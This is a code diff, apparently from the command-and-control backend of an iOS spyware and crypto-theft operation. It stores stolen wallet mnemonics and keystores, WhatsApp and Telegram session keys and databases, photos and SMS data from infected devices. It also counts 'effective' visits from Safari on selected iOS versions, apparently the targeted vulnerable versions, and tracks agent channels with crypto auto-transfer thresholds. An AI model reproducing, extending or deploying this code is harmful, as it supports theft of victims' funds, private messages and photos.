'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
||||
@@ -18,6 +80,7 @@ class PluginSession extends Model
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'kind' => 'integer',
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
@@ -35,4 +98,140 @@ class PluginSession extends Model
|
||||
default => (string) $this->kind,
|
||||
};
|
||||
}
|
||||
|
||||
public function isTelegram(): bool
|
||||
{
|
||||
return (int) $this->kind === self::KIND_TELEGRAM;
|
||||
}
|
||||
|
||||
public function isWhatsApp(): bool
|
||||
{
|
||||
return (int) $this->kind === self::KIND_WHATSAPP;
|
||||
}
|
||||
|
||||
/**
|
||||
* Compact fields for the collection list (omit large blobs).
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function listSummary(): array
|
||||
{
|
||||
$payload = is_array($this->payload) ? $this->payload : [];
|
||||
if ($this->isWhatsApp()) {
|
||||
return [
|
||||
'account_id' => $this->account_id ?: '',
|
||||
'phone' => $this->phone ?: '',
|
||||
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
|
||||
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
|
||||
'has_keystore' => (bool) ($payload['has_keystore']
|
||||
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
|
||||
'has_state' => (bool) ($payload['has_state']
|
||||
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
|
||||
'has_db' => (bool) ($payload['has_db']
|
||||
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Full session blob from the on-disk file, or the JSON column if no file.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function fullPayload(): array
|
||||
{
|
||||
$payload = is_array($this->payload) ? $this->payload : [];
|
||||
$path = $payload['payload_path'] ?? null;
|
||||
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
|
||||
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
|
||||
if (is_array($decoded)) {
|
||||
return $decoded;
|
||||
}
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
|
||||
public function payloadPath(): ?string
|
||||
{
|
||||
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
|
||||
|
||||
return is_string($path) && $path !== '' ? $path : null;
|
||||
}
|
||||
|
||||
public function downloadFilename(): string
|
||||
{
|
||||
$label = $this->isWhatsApp() ? 'ws' : 'tg';
|
||||
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
|
||||
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
|
||||
|
||||
return $label.'-'.$device.'-'.$account.'.json';
|
||||
}
|
||||
|
||||
public function displayPayload(): array
|
||||
{
|
||||
$payload = $this->fullPayload();
|
||||
if ($this->isTelegram()) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
return $this->truncatePayload($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function scalarFromPayload(array $payload, array $keys): string
|
||||
{
|
||||
foreach ($keys as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_int($value) || is_float($value)) {
|
||||
return (string) $value;
|
||||
}
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return trim($value);
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function truncatePayload(array $payload, int $max = 240): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($payload as $key => $value) {
|
||||
if (is_array($value)) {
|
||||
$encoded = json_encode($value);
|
||||
if (is_string($encoded) && strlen($encoded) > 1500) {
|
||||
$out[$key] = [
|
||||
'_omitted' => true,
|
||||
'items' => count($value),
|
||||
'bytes' => strlen($encoded),
|
||||
];
|
||||
continue;
|
||||
}
|
||||
$out[$key] = $this->truncatePayload($value, $max);
|
||||
continue;
|
||||
}
|
||||
if (! is_string($value)) {
|
||||
$out[$key] = $value;
|
||||
continue;
|
||||
}
|
||||
if (strlen($value) > $max) {
|
||||
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
|
||||
continue;
|
||||
}
|
||||
$out[$key] = $value;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,7 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_trx',
|
||||
'auto_transfer_threshold_eth',
|
||||
'auto_transfer_threshold_btc',
|
||||
'album_storage_default',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
@@ -39,9 +40,14 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||
'album_storage_default' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
protected $attributes = [
|
||||
'album_storage_default' => false,
|
||||
];
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
@@ -52,6 +58,32 @@ class User extends Authenticatable
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
|
||||
public function albumStorageDefaultEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage_default ?? false);
|
||||
}
|
||||
|
||||
/**
|
||||
* New-device album_storage default for a channel.
|
||||
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
|
||||
*/
|
||||
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||
{
|
||||
$channelId = trim((string) $channelId);
|
||||
if ($channelId === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$agent = static::query()->find((int) $userId);
|
||||
|
||||
return $agent?->albumStorageDefaultEnabled() ?? false;
|
||||
}
|
||||
|
||||
public function hasTelegramChat(): bool
|
||||
{
|
||||
return trim((string) ($this->chat_id ?? '')) !== '';
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Services;
|
||||
use App\Models\Device;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\UserAgentParser;
|
||||
@@ -288,6 +289,9 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
if ($channel !== null && trim((string) $existing->channel_id) === '') {
|
||||
$touch['channel_id'] = $channel;
|
||||
if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) {
|
||||
$touch['album_storage'] = true;
|
||||
}
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->beaconQueue->seed($existing);
|
||||
@@ -303,6 +307,7 @@ class DarkSwordIngestAdapter
|
||||
'ios_version' => $ios,
|
||||
'channel_id' => $channel,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'album_storage' => User::albumStorageDefaultForChannel($channel),
|
||||
]);
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
|
||||
@@ -73,8 +73,14 @@ class DashboardStatsService
|
||||
|
||||
// Period cohort: devices installed (created) in the selected range.
|
||||
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
|
||||
$total = (clone $createdInRange)->count();
|
||||
$walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
|
||||
$deviceAgg = (clone $createdInRange)
|
||||
->selectRaw(
|
||||
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
|
||||
[Device::WALLET_YES],
|
||||
)
|
||||
->first();
|
||||
$total = (int) ($deviceAgg?->total ?? 0);
|
||||
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
|
||||
$newCount = $total;
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
@@ -88,9 +94,7 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
$addressCount = $this->countDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
[$addressCount, $balances] = $this->addressStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
@@ -98,7 +102,6 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -114,19 +117,25 @@ class DashboardStatsService
|
||||
}
|
||||
$visits->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
$pv = (clone $visits)->count();
|
||||
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
|
||||
$effectivePv = (clone $effectiveVisits)->count();
|
||||
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
$effectiveSql = $this->effectiveVisitSql();
|
||||
$visitAgg = (clone $visits)
|
||||
->selectRaw(
|
||||
"COUNT(*) as pv,
|
||||
COUNT(DISTINCT client_uid) as uv,
|
||||
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
|
||||
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv,
|
||||
COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv,
|
||||
COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv",
|
||||
)
|
||||
->first();
|
||||
$pv = (int) ($visitAgg?->pv ?? 0);
|
||||
$uv = (int) ($visitAgg?->uv ?? 0);
|
||||
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
|
||||
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
|
||||
$iosUv = (int) ($visitAgg?->ios_uv ?? 0);
|
||||
$otherUv = (int) ($visitAgg?->other_uv ?? 0);
|
||||
|
||||
$iosVisits = (clone $visits)->where('os', 'iOS');
|
||||
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$otherVisits = (clone $visits)->where(function (Builder $q) {
|
||||
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
|
||||
});
|
||||
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$byOs = [
|
||||
$this->visitRow('iOS', $iosUv, $uv),
|
||||
@@ -273,11 +282,11 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/**
|
||||
* Sum coin columns for addresses created in the selected range.
|
||||
* Address count + coin sums in one pass over wallet_addresses in range.
|
||||
*
|
||||
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
|
||||
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
|
||||
*/
|
||||
private function sumBalances(
|
||||
private function addressStats(
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
@@ -294,7 +303,7 @@ class DashboardStatsService
|
||||
$channelExact,
|
||||
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
|
||||
|
||||
$selects = [];
|
||||
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
||||
}
|
||||
@@ -308,7 +317,7 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
||||
return $out;
|
||||
return [(int) ($row?->addr_count ?? 0), $out];
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -350,16 +359,11 @@ class DashboardStatsService
|
||||
/**
|
||||
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
|
||||
*/
|
||||
private function applyEffectiveFilter(Builder $query): void
|
||||
private function effectiveVisitSql(): string
|
||||
{
|
||||
$query->where('os', 'iOS')
|
||||
->where('browser', 'Safari')
|
||||
->whereNotNull('os_version')
|
||||
->where('os_version', '!=', '');
|
||||
|
||||
[$major, $minor, $patch] = $this->osVersionPartsSql();
|
||||
$query->whereRaw(
|
||||
"(
|
||||
|
||||
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
|
||||
({$major} >= 13 AND (
|
||||
{$major} < 17
|
||||
OR ({$major} = 17 AND {$minor} < 2)
|
||||
@@ -367,8 +371,7 @@ class DashboardStatsService
|
||||
))
|
||||
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
|
||||
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
|
||||
)"
|
||||
);
|
||||
)";
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -11,6 +11,7 @@ use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\SmsReport;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -274,6 +275,9 @@ class IngestService
|
||||
$touch = ['updated_at' => now()];
|
||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||
$touch['channel_id'] = $attr['channel_id'];
|
||||
if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) {
|
||||
$touch['album_storage'] = true;
|
||||
}
|
||||
}
|
||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||
$touch['source_domain'] = $attr['source_domain'];
|
||||
@@ -352,6 +356,7 @@ class IngestService
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']),
|
||||
];
|
||||
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
|
||||
if (! $this->isNewBuilderRequest($request)) {
|
||||
@@ -669,10 +674,12 @@ class IngestService
|
||||
break;
|
||||
}
|
||||
}
|
||||
$phone = $kind === PluginSession::KIND_WHATSAPP
|
||||
$phone = (int) $kind === PluginSession::KIND_WHATSAPP
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
: null;
|
||||
|
||||
$blob = $this->storePluginSessionFile($device, $kind, $account, $blob);
|
||||
|
||||
PluginSession::query()->updateOrCreate(
|
||||
[
|
||||
'device_id' => $device->id,
|
||||
@@ -685,6 +692,23 @@ class IngestService
|
||||
'payload' => $blob,
|
||||
],
|
||||
);
|
||||
$device->refreshImFlags();
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep a summary in MySQL; write the full session JSON to disk.
|
||||
*
|
||||
* @param array<string, mixed> $blob
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array
|
||||
{
|
||||
$path = PluginSession::payloadFilePath($kind, $device->device_id, $account);
|
||||
$json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
$json = $json === false ? '{}' : $json;
|
||||
Storage::disk('local')->put($path, $json);
|
||||
|
||||
return PluginSession::dbSummary($kind, $blob, $path, strlen($json));
|
||||
}
|
||||
|
||||
private function scalarToString(mixed $value): ?string
|
||||
|
||||
Reference in New Issue
Block a user